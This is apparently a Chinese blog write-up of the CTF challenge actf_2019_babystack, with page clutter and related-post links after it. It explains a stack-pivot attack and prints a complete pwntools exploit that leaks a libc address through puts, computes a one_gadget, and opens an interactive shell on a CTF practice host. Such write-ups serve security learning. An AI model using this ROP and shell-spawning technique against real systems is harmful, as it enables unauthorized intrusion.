actf_2019_babystack
2024-05-02 10:07:44
actf_2019_babystack
查看保护
溢出0x10个字节,大小不够。栈迁移,s的地址都给了,将payload写入s,改ebp和ret为s地址和leave_ret即可。payload前加8个a让rip成功跳转到payload。
from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'debug = 1
if debug:r = remote('node4.buuoj.cn', 26062)
else:r = process(file_name)elf = ELF(file_name)def dbg():gdb.attach(r)r.recvuntil("Welcome to ACTF's babystack!")r.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x400A18
main_addr = 0x4008F6
pop_rdi_ret = 0x0000000000400ad3p1 = b'a' * 8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p1 = p1.ljust(0xd0, b'\x00')
p1 += p64(message_addr) + p64(leave_ret)
r.send(p1)puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('puts_addr = ' + hex(puts_addr))
libc = ELF('./libc-2.27.so')
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search(b'/bin/sh\x00').__next__()
one = [0x4f2c5, 0x4f322, 0x10a38c]
one_gadget = one[1] + libc_baser.recvuntil('How many bytes of your message?')
r.recvuntil('>')
r.sendline('224')r.recvuntil('0x')
message_addr = int(r.recv(12), 16)
success('message_addr = ' + hex(message_addr))
r.recvuntil('What is the content of your message?')
r.recvuntil('>')ret = 0x400A4F#p2 = b'a' * 8 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
p2 = b'a' * 8 + p64(ret) + p64(one_gadget)
p2 = p2.ljust(0xd0, b'\x00')
p2 += p64(message_addr) + p64(leave_ret)
r.send(p2)r.interactive()
actf_2019_babystack相关推荐
- PWN-PRACTICE-BUUCTF-20
PWN-PRACTICE-BUUCTF-20 actf_2019_babystack picoctf_2018_can_you_gets_me picoctf_2018_got_shell mrctf ...
- 持续更新 BUUCTF——PWN(二)
文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...
- BUUCTF pwn wp 76 - 80
cmcc_pwnme2 int __cdecl userfunction(char *src) {char dest[108]; // [esp+Ch] [ebp-6Ch] BYREFstrcpy(d ...
- 2021-10-11 Pwn练习记录
文章目录 easy 题目 分析 EXP 重做note2 分析 EXP 重做[ZJCTF_2019]Easyheap 分析 EXP 重做actf_2019_babystack 分析 EXP 重做gyct ...
最新文章
- vs2012 error c4996: 'fopen': This function or variable may be unsafe
- ftp限流java,FTP流量限制的方法
- 双11特刊|十年磨一剑,云原生多模数据库Lindorm 2021双11总结
- 碾压专业机构,27岁华裔小伙推出美国最准新冠预测模型
- 公开课|智能文本信息抽取算法的进阶与应用
- keepalived详解(二)——keepalived安装与配置文件
- Atitit 搜索的艺术 目录 1. 索引基础	2 1.1. 单词-文档矩阵	2 1.2. 倒排索引基本概念	3 2. 建立索引	4 2.1. 两遍文档遍历法(2-Pass In-Memory In
- linux 下的igv软件,IGV软件使用指南
- bzoj2144 跳跳棋
- PCIE 3.0 4.0 GEN3 GEN4 速度如何
- 基于C语言的网络电子词典
- Microsoft Word教程:如何在 Word 中创建文档、添加和编辑文本?
- Python图像处理库PIL中图像格式转换(一)
- luoguP4466 [国际集训队]和与积 莫比乌斯反演
- matlab拉普拉斯变换锐化,图像的拉普拉斯锐化方法及讨论
- Debian中文美化
- EventBus 事件机制详解(Google Guava)
- Oracle中误删数据找回方法
- centos离线安装Chrome浏览器
- 【经验分享】抖音电商金句200条,条条干货,句句扎心!